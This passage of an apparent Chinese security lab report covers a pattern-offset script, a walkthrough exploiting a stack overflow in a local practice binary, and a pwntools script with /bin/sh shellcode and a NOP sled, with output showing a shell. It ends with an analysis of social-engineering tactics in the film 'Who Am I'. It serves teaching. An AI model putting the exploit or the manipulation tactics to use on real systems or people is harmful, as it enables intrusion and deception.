"Uy0Uy1Uy2Uy3Uy4Uy5Uy6Uy7Uy8Uy9Uz0Uz1Uz2Uz3Uz4Uz5Uz6Uz7Uz8Uz9Va0Va1Va2Va3Va4Va5Va"
"6Va7Va8Va9Vb0Vb1Vb2Vb3Vb4Vb5Vb6Vb7Vb8Vb9Vc0Vc1Vc2Vc3Vc4Vc5Vc6Vc7Vc8Vc9Vd0Vd1Vd2V"
"d3Vd4Vd5Vd6Vd7Vd8Vd9Ve0Ve1Ve2Ve3Ve4Ve5Ve6Ve7Ve8Ve9Vf0Vf1Vf2Vf3Vf4Vf5Vf6Vf7Vf8Vf9"
"Vg0Vg1Vg2Vg3Vg4Vg5Vg6Vg7Vg8Vg9Vh0Vh1Vh2Vh3Vh4Vh5Vh6Vh7Vh8Vh9Vi0Vi1Vi2Vi3Vi4Vi5Vi"
"6Vi7Vi8Vi9Vj0Vj1Vj2Vj3Vj4Vj5Vj6Vj7Vj8Vj9Vk0Vk1Vk2Vk3Vk4Vk5Vk6Vk7Vk8Vk9Vl0Vl1Vl2V"
"l3Vl4Vl5Vl6Vl7Vl8Vl9Vm0Vm1Vm2Vm3Vm4Vm5Vm6Vm7Vm8Vm9Vn0Vn1Vn2Vn3Vn4Vn5Vn6Vn7Vn8Vn9"
"Vo0Vo1Vo2Vo3Vo4Vo5Vo6Vo7Vo8Vo9Vp0Vp1Vp2Vp3Vp4Vp5Vp6Vp7Vp8Vp9Vq0Vq1Vq2Vq3Vq4Vq5Vq"
"6Vq7Vq8Vq9Vr0Vr1Vr2Vr3Vr4Vr5Vr6Vr7Vr8Vr9Vs0Vs1Vs2Vs3Vs4Vs5Vs6Vs7Vs8Vs9Vt0Vt1Vt2V"
"t3Vt4Vt5Vt6Vt7Vt8Vt9Vu0Vu1Vu2Vu3Vu4Vu5Vu6Vu7Vu8Vu9Vv0Vv1Vv2Vv3Vv4Vv5Vv6Vv7Vv8Vv9"
"Vw0Vw1Vw2Vw3Vw4Vw5Vw6Vw7Vw8Vw9Vx0Vx1Vx2Vx3Vx4Vx5Vx6Vx7Vx8Vx9Vy0Vy1Vy2Vy3Vy4Vy5Vy"
"6Vy7Vy8Vy9Vz0Vz1Vz2Vz3Vz4Vz5Vz6Vz7Vz8Vz9Wa0Wa1Wa2Wa3Wa4Wa5Wa6Wa7Wa8Wa9Wb0Wb1Wb2W"
"b3Wb4Wb5Wb6Wb7Wb8Wb9Wc0Wc1Wc2Wc3Wc4Wc5Wc6Wc7Wc8Wc9Wd0Wd1Wd2Wd3Wd4Wd5Wd6Wd7Wd8Wd9"
"We0We1We2We3We4We5We6We7We8We9Wf0Wf1Wf2Wf3Wf4Wf5Wf6Wf7Wf8Wf9Wg0Wg1Wg2Wg3Wg4Wg5Wg"
"6Wg7Wg8Wg9Wh0Wh1Wh2Wh3Wh4Wh5Wh6Wh7Wh8Wh9Wi0Wi1Wi2Wi3Wi4Wi5Wi6Wi7Wi8Wi9Wj0Wj1Wj2W"
"j3Wj4Wj5Wj6Wj7Wj8Wj9Wk0Wk1Wk2Wk3Wk4Wk5Wk6Wk7Wk8Wk9Wl0Wl1Wl2Wl3Wl4Wl5Wl6Wl7Wl8Wl9"
"Wm0Wm1Wm2Wm3Wm4Wm5Wm6Wm7Wm8Wm9Wn0Wn1Wn2Wn3Wn4Wn5Wn6Wn7Wn8Wn9Wo0Wo1Wo2Wo3Wo4Wo5Wo"
"6Wo7Wo8Wo9Wp0Wp1Wp2Wp3Wp4Wp5Wp6Wp7Wp8Wp9Wq0Wq1Wq2Wq3Wq4Wq5Wq6Wq7Wq8Wq9Wr0Wr1Wr2W"
"r3Wr4Wr5Wr6Wr7Wr8Wr9Ws0Ws1Ws2Ws3Ws4Ws5Ws6Ws7Ws8Ws9Wt0Wt1Wt2Wt3Wt4Wt5Wt6Wt7Wt8Wt9"
"Wu0Wu1Wu2Wu3Wu4Wu5Wu6Wu7Wu8Wu9Wv0Wv1Wv2Wv3Wv4Wv5Wv6Wv7Wv8Wv9Ww0Ww1Ww2Ww3Ww4Ww5Ww"
"6Ww7Ww8Ww9Wx0Wx1Wx2Wx3Wx4Wx5Wx6Wx7Wx8Wx9Wy0Wy1Wy2Wy3Wy4Wy5Wy6Wy7Wy8Wy9Wz0Wz1Wz2W"
"z3Wz4Wz5Wz6Wz7Wz8Wz9Xa0Xa1Xa2Xa3Xa4Xa5Xa6Xa7Xa8Xa9Xb0Xb1Xb2Xb3Xb4Xb5Xb6Xb7Xb8Xb9"
"Xc0Xc1Xc2Xc3Xc4Xc5Xc6Xc7Xc8Xc9Xd0Xd1Xd2Xd3Xd4Xd5Xd6Xd7Xd8Xd9Xe0Xe1Xe2Xe3Xe4Xe5Xe"
"6Xe7Xe8Xe9Xf0Xf1Xf2Xf3Xf4Xf5Xf6Xf7Xf8Xf9Xg0Xg1Xg2Xg3Xg4Xg5Xg6Xg7Xg8Xg9Xh0Xh1Xh2X"
"h3Xh4Xh5Xh6Xh7Xh8Xh9Xi0Xi1Xi2Xi3Xi4Xi5Xi6Xi7Xi8Xi9Xj0Xj1Xj2Xj3Xj4Xj5Xj6Xj7Xj8Xj9"
"Xk0Xk1Xk2Xk3Xk4Xk5Xk6Xk7Xk8Xk9Xl0Xl1Xl2Xl3Xl4Xl5Xl6Xl7Xl8Xl9Xm0Xm1Xm2Xm3Xm4Xm5Xm"
"6Xm7Xm8Xm9Xn0Xn1Xn2Xn3Xn4Xn5Xn6Xn7Xn8Xn9Xo0Xo1Xo2Xo3Xo4Xo5Xo6Xo7Xo8Xo9Xp0Xp1Xp2X"
"p3Xp4Xp5Xp6Xp7Xp8Xp9Xq0Xq1Xq2Xq3Xq4Xq5Xq6Xq7Xq8Xq9Xr0Xr1Xr2Xr3Xr4Xr5Xr6Xr7Xr8Xr9"
"Xs0Xs1Xs2Xs3Xs4Xs5Xs6Xs7Xs8Xs9Xt0Xt1Xt2Xt3Xt4Xt5Xt6Xt7Xt8Xt9Xu0Xu1Xu2Xu3Xu4Xu5Xu"
"6Xu7Xu8Xu9Xv0Xv1Xv2Xv3Xv4Xv5Xv6Xv7Xv8Xv9Xw0Xw1Xw2Xw3Xw4Xw5Xw6Xw7Xw8Xw9Xx0Xx1Xx2X"
"x3Xx4Xx5Xx6Xx7Xx8Xx9Xy0Xy1Xy2Xy3Xy4Xy5Xy6Xy7Xy8Xy9Xz0Xz1Xz2Xz3Xz4Xz5Xz6Xz7Xz8Xz9"
"Ya0Ya1Ya2Ya3Ya4Ya5Ya6Ya7Ya8Ya9Yb0Yb1Yb2Yb3Yb4Yb5Yb6Yb7Yb8Yb9Yc0Yc1Yc2Yc3Yc4Yc5Yc"
"6Yc7Yc8Yc9Yd0Yd1Yd2Yd3Yd4Yd5Yd6Yd7Yd8Yd9Ye0Ye1Ye2Ye3Ye4Ye5Ye6Ye7Ye8Ye9Yf0Yf1Yf2Y"
"f3Yf4Yf5Yf6Yf7Yf8Yf9Yg0Yg1Yg2Yg3Yg4Yg5Yg6Yg7Yg8Yg9Yh0Yh1Yh2Yh3Yh4Yh5Yh6Yh7Yh8Yh9"
"Yi0Yi1Yi2Yi3Yi4Yi5Yi6Yi7Yi8Yi9Yj0Yj1Yj2Yj3Yj4Yj5Yj6Yj7Yj8Yj9Yk0Yk1Yk2Yk3Yk4Yk5Yk"
"6Yk7Yk8Yk9Yl0Yl1Yl2Yl3Yl4Yl5Yl6Yl7Yl8Yl9Ym0Ym1Ym2Ym3Ym4Ym5Ym6Ym7Ym8Ym9Yn0Yn1Yn2Y"
"n3Yn4Yn5Yn6Yn7Yn8Yn9Yo0Yo1Yo2Yo3Yo4Yo5Yo6Yo7Yo8Yo9Yp0Yp1Yp2Yp3Yp4Yp5Yp6Yp7Yp8Yp9"
"Yq0Yq1Yq2Yq3Yq4Yq5Yq6Yq7Yq8Yq9Yr0Yr1Yr2Yr3Yr4Yr5Yr6Yr7Yr8Yr9Ys0Ys1Ys2Ys3Ys4Ys5Ys"
"6Ys7Ys8Ys9Yt0Yt1Yt2Yt3Yt4Yt5Yt6Yt7Yt8Yt9Yu0Yu1Yu2Yu3Yu4Yu5Yu6Yu7Yu8Yu9Yv0Yv1Yv2Y"
"v3Yv4Yv5Yv6Yv7Yv8Yv9Yw0Yw1Yw2Yw3Yw4Yw5Yw6Yw7Yw8Yw9Yx0Yx1Yx2Yx3Yx4Yx5Yx6Yx7Yx8Yx9"
"Yy0Yy1Yy2Yy3Yy4Yy5Yy6Yy7Yy8Yy9Yz0Yz1Yz2Yz3Yz4Yz5Yz6Yz7Yz8Yz9Za0Za1Za2Za3Za4Za5Za"
"6Za7Za8Za9Zb0Zb1Zb2Zb3Zb4Zb5Zb6Zb7Zb8Zb9Zc0Zc1Zc2Zc3Zc4Zc5Zc6Zc7Zc8Zc9Zd0Zd1Zd2Z"
"d3Zd4Zd5Zd6Zd7Zd8Zd9Ze0Ze1Ze2Ze3Ze4Ze5Ze6Ze7Ze8Ze9Zf0Zf1Zf2Zf3Zf4Zf5Zf6Zf7Zf8Zf9"
"Zg0Zg1Zg2Zg3Zg4Zg5Zg6Zg7Zg8Zg9Zh0Zh1Zh2Zh3Zh4Zh5Zh6Zh7Zh8Zh9Zi0Zi1Zi2Zi3Zi4Zi5Zi"
"6Zi7Zi8Zi9Zj0Zj1Zj2Zj3Zj4Zj5Zj6Zj7Zj8Zj9Zk0Zk1Zk2Zk3Zk4Zk5Zk6Zk7Zk8Zk9Zl0Zl1Zl2Z"
"l3Zl4Zl5Zl6Zl7Zl8Zl9Zm0Zm1Zm2Zm3Zm4Zm5Zm6Zm7Zm8Zm9Zn0Zn1Zn2Zn3Zn4Zn5Zn6Zn7Zn8Zn9"
"Zo0Zo1Zo2Zo3Zo4Zo5Zo6Zo7Zo8Zo9Zp0Zp1Zp2Zp3Zp4Zp5Zp6Zp7Zp8Zp9Zq0Zq1Zq2Zq3Zq4Zq5Zq"
"6Zq7Zq8Zq9Zr0Zr1Zr2Zr3Zr4Zr5Zr6Zr7Zr8Zr9Zs0Zs1Zs2Zs3Zs4Zs5Zs6Zs7Zs8Zs9Zt0Zt1Zt2Z"
"t3Zt4Zt5Zt6Zt7Zt8Zt9Zu0Zu1Zu2Zu3Zu4Zu5Zu6Zu7Zu8Zu9Zv0Zv1Zv2Zv3Zv4Zv5Zv6Zv7Zv8Zv9"
"Zw0Zw1Zw2Zw3Zw4Zw5Zw6Zw7Zw8Zw9Zx0Zx1Zx2Zx3Zx4Zx5Zx6Zx7Zx8Zx9Zy0Zy1Zy2Zy3Zy4Zy5Zy"
"6Zy7Zy8Zy9Zz0Zz1Zz2Zz3Zz4Zz5Zz6Zz7Zz8Zz9"
)

def show_error(msg):
sys.stderr.write(os.linesep * 2 + "ERROR: " + msg + os.linesep * 3)
sys.exit(1)

def bare_words():
string = " ".join(sys.argv[1:])
print("The used string: =>" + string + "<=")
return string

def show_help():
print(sys.argv[0] + " create <int>")
print("\tReturns a pattern of <int> chars.")
print()
print(sys.argv[0] + " offset <str> [size <int>]")
print(
"\tReturns the offset for the provided argument <str>. Must be at least "
"three chars for non ambiguous match. May be a hex value. The conversion"
"is done automatically for little endian architectures (ie: x86). This "
"basically means that the string obtained from hex conversion is "
"reversed. WARNING: The hex decoding is skipped for valid hex values "
"that are part of the buffer itself as the hex decoding is a fallback "
"measure. Always use the 0x prefix in order to force the hex decoding."
"" + os.linesep + ""
"\tFor patterns longer than 20280 chars you must provide the optional "
"argument size in order to receive all the offsets for the Aa0 pattern."
)
sys.exit(0)

def show_pattern(size):
size = int(size)
count = size // 20280
inc = 0
while inc < count:
sys.stdout.write(buf)
inc += 1

mod = size % 20280
sys.stdout.write(buf[:mod] + "\n")

def decode_offset(offset):
offset = offset.replace("0x", "")
try:
offset = binascii.unhexlify(offset)
offset = offset[::-1].decode('utf-8') # 反转并解码为字符串
print("hex pattern decoded as: " + offset)
return offset
except (TypeError, binascii.Error):
show_error("Invalid input offset.")

def show_offset(offset, size):
try:
pos = buf.index(offset)
if size == 0:
print(pos)
else:
position = []
count = size // 20280
inc = 0
while inc < count:
position.append(str(inc * 20280 + pos))
inc += 1

mod = size % 20280
if pos + len(offset) <= mod:
position.append(str(inc * 20280 + pos))

print(os.linesep.join(position))
except ValueError:
offset = decode_offset(offset)
show_offset(offset, size)

if __name__ == "__main__":
if len(sys.argv) == 1:
show_help()
elif sys.argv[1] != "create" and sys.argv[1] != "offset":
show_help()

try:
if sys.argv[1] == "create":
try:
if sys.argv[2].isdigit():
show_pattern(sys.argv[2])
except IndexError:
show_error("You need to supply the <int> value for the create action.")
elif sys.argv[1] == "offset":
try:
if sys.argv[2]:
try:
size = int(sys.argv[3])
except IndexError:
size = 0

show_offset(sys.argv[2], size)
except IndexError:
show_error("You need to supply the <str> value for the offset action.")
except KeyboardInterrupt:
show_error("Keyboard interrupt received. Educated guess: the script took too long to execute. You used a really long size, didn't you?")

1
2
3
root@moyuan-virtual-machine:/home/moyuan/桌面# python pattern.py create 150
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9
root@moyuan-virtual-machine:/home/moyuan/桌面#

gdb ./level1 -> 调试程序

r -> 运行,输入之前用脚本创造的字符串

再使用 python 脚本来计算一下偏移: python pattern.py offset 0x37654136

这里解释一下,在 gdb 里报错的原因是本来的返回地址被我们输入的字符串覆盖掉了,覆盖为了0x37654136,当程序去返回的时候出错了,使用 pattern.py offset计算出来的就是整个栈的大小,把 0x37654136 改成找到的地址就可以执行我们的语句了

还有个问题: gdb 的调试环境会影响 buf 在内存中的位置,虽然我们关闭了 ASLR,但这只能保证 buf 的地址在 gdb 的调试环境中不变,但当我们直接执行 ./level1 的时候,buf 的位置会固定在别的地址上

这里采用的方法是开启:core dump

ulimit -c unlimited (这里之前是没啥的,但是又一次做的时候只有在root下最后才能成功)

开启之后,当出现内存错误的时候,系统会生成一个 core dump 文件在当前目录下。然后我们再用 gdb 查看这个 core 文件就可以获取到 buf 真正的地址了。

修改核心转储行为: 默认核心转储被 apport 工具接管,需修改配置让核心转储文件直接保存到当前目录:

1
2
3
4
sudo systemctl stop apport.service
sudo systemctl disable apport.service
echo "core" | sudo tee /proc/sys/kernel/core_pattern
cat /proc/sys/kernel/core_pattern

使用gdb调试转储的 gdb level1 core.6021 (core 会有后缀)

使用 x/10s $esp-144 查看shellcode地址0xffffd370

为什么是 esp-144 ?因为我们报错的时候其实已经执行的到返回地址了,所以要在 140 的栈空间的基础上加上 4 字节的返回地址空间

用 python 结合 pwntools 写利用脚本

1
pip install pwntools -i https://pypi.tuna.tsinghua.edu.cn/simple //安装pwn库
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

# 启动目标程序
p = process('./level1')

# 返回地址(需根据实际情况调整)
ret = 0xffffd370

# shellcode 需要是字节串
shellcode = b"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += b"\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += b"\x0b\xcd\x80"

# 构造 payload
payload =shellcode + b'A' * (140 - len(shellcode)) + p32(ret)
print(payload)
# 发送 payload
p.send(payload)
p.interactive()

Tip: 为什么 Shellcode 在 GDB 中运行成功而直接运行失败?

在调试程序时,GDB 会为进程添加大量的环境变量,这些变量存储在栈中,导致栈占用更多空间,地址变低。而直接运行程序时,由于没有 GDB 的干扰,栈地址比在 GDB 中运行时更高。这种栈地址的变化使得在 GDB 中找到的返回地址在直接运行时可能会失效,导致 Shellcode 无法执行。

解决方法:

  1. 将返回地址适当调整到更高的地址,以匹配直接运行时的栈布局。
  2. 在 Shellcode 前增加一个 NOP 链(如 60 字节的 NOP 指令 \x90),扩大命中范围。这样,即使返回地址不完全精确,只要命中 NOP 链中的任意一个字节,代码执行也会顺利进入 Shellcode。

关键点:

  • GDB 改变了程序的栈布局,需考虑栈地址偏移。
  • NOP 链 提高了返回地址的容错能力。

示例:
调整返回地址为 0xffffd370,在 Shellcode 前增加 60 字节的 NOP 链,使代码更鲁棒,即使偏移变化也能命中目标。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

# 启动目标程序
p = process('./level1')

# 返回地址(需根据实际情况调整)
ret = 0xffffd370

# shellcode 需要是字节串
shellcode = b"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += b"\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += b"\x0b\xcd\x80"

# 构造 payload
payload = b"\x90"*60 + shellcode + b'A' * (140 - len(shellcode) - 60) + p32(ret)
print(payload)
# 发送 payload
p.send(payload)
p.interactive()
1
python exp1.py

成功!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
[*] Switching to interactive mode
$ ls
core.6021 core.6296 exp1.py level1.c pattern.py
core.6273 core.6373 level1 linux.py peda-session-level1.txt
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 00:0c:29:8d:97:a2 brd ff:ff:ff:ff:ff:ff
altname enp2s1
inet 192.168.80.16/24 brd 192.168.80.255 scope global dynamic noprefixroute ens33
valid_lft 60458sec preferred_lft 60458sec
inet6 fe80::732d:9fcc:dc18:f328/64 scope link noprefixroute
valid_lft forever preferred_lft forever
$ whoami
moyuan
$ uname -a
Linux moyuan-virtual-machine 6.8.0-48-generic #48~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Mon Oct 7 11:24:13 UTC 2 x86_64 x86_64 x86_64 GNU/Linux
$ python -c "import pty;pty.spawn('/bin/bash')"
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

moyuan@moyuan-virtual-machine:/home/moyuan/桌面$ $

3. 实验结果

  • Windows:通过覆盖 EIP 并跳转到 jmp esp 指令,执行自定义 Shellcode 实现功能。
  • Linux:关闭 ASLR 和其他保护后,构造 NOP 链 和返回地址,成功实现 Shellcode 执行。

4.《我是谁:没有绝对安全的系统》社会工程学片段解析

影片概述
《我是谁:没有绝对安全的系统》是一部聚焦黑客犯罪的德国悬疑电影,其剧情围绕一个普通青年黑客本杰明的视角展开。他与几个志同道合的伙伴组成黑客组织“Clay”,利用精湛的黑客技术和高超的心理博弈,展开了一系列惊心动魄的黑客行动。这部电影在悬疑与反转的基础上,融合了“社会工程学”的独特主题,引发观众对技术与人性的思考。

社会工程学片段解析
电影的多个关键情节中,本杰明及其团队都利用了社会工程学的技巧,这些场景不仅推动了剧情发展,还深刻揭示了社会工程学的核心——通过操控人性来突破安全防护。

1. 通过猫奴大妈突破垃圾站防线

在本杰明团队试图潜入情报局时,他们无法通过高科技破解防护系统,于是选择“人性漏洞”。团队成员发现了一位垃圾站管理员——一个对流浪猫有特殊情感的大妈。他们利用她对猫的关注,在分散其注意力后成功绕过了入口的监控系统。

社会工程学技巧:

  • 心理定位:锁定目标的大妈,分析其行为习惯和情感弱点(对猫的关注)。
  • 分散注意力:通过设置猫作为干扰源,让管理员失去对外部的警觉。
  • 信任滥用:利用目标的善良本性,营造无害的假象。

2. 打动保安大爷进入高安保区

在一次行动中,本杰明以“丢失钱包”为由试图进入一个安保森严的区域。面对严谨的保安,他没有选择硬闯,而是通过自编的故事来赢得信任。本杰明伪装成无害的普通人,博取同情并引导对方放松戒备,最终成功进入目标地点。

社会工程学技巧:

  • 建立信任:以平易近人的形象接近目标,利用“善意同情”策略让对方放下警惕。
  • 诉诸情感:虚构“担心父亲责骂”的情节激发保安的同情心。
  • 隐蔽操作:利用小型硬件设备将网络热点植入建筑内部。

3. 对汉娜的心理操控

影片的高潮部分,本杰明故意向欧洲刑警汉娜讲述了一段悲惨的身世,以及团队因多重人格障碍造成的内部分裂。通过将自己塑造成一个孤立无援的受害者,他成功激发了汉娜的母性与保护欲,使她违背规章制度放他一马,并帮助他修改身份数据,从而逃脱法律制裁。

社会工程学技巧:

  • 心理诱导:巧妙塑造自身的弱势形象,通过虚构悲惨经历引导汉娜共情。
  • 利用软肋:本杰明了解汉娜曾经历丧子之痛,抓住这一心理弱点进行针对性说服。
  • 多层博弈:利用自己的黑客技能和心理优势,营造出一个可信的谎言网络,让汉娜对真相的质疑被不断引导至对自己有利的方向。

社会工程学的核心内涵

电影通过这些桥段展现了社会工程学的本质,即“技术次要,人性为主”。与其破解技术上的复杂防护系统,不如利用人性的弱点突破心理防线。在电影中,这些心理博弈不仅体现了本杰明团队的高超智慧,也揭示了现代信息社会中安全问题的一个根本事实:人永远是安全链中最脆弱的一环

总结
《我是谁:没有绝对安全的系统》通过多次巧妙运用社会工程学技巧,展现了黑客行为如何依赖于对人性的深刻理解。影片以烧脑反转与紧张情节为依托,借用社会工程学的理念,提出了技术与人性交织的安全困境,为观众带来了一场关于信任与欺骗的思维盛宴。

5.参考文献

  1. 「红队笔记」靶机精讲:Brainpan1 - 缓冲区溢出典型利用过程,让你一次吃透
    视频链接:Bilibili

  2. Windows经典栈溢出利用,听不懂赔钱
    视频链接:Bilibili

  3. 缓冲区溢出实验文章

  4. 栈溢出经典实验
    博客链接:博客园

  5. SEED Labs 栈溢出教程

  6. 长亭pwn公开课:栈溢出讲解
    视频链接:Bilibili

  7. 缓冲区溢出及社会工程学解读

  8. 附加学习资源:GDB 调试和 ASLR 探索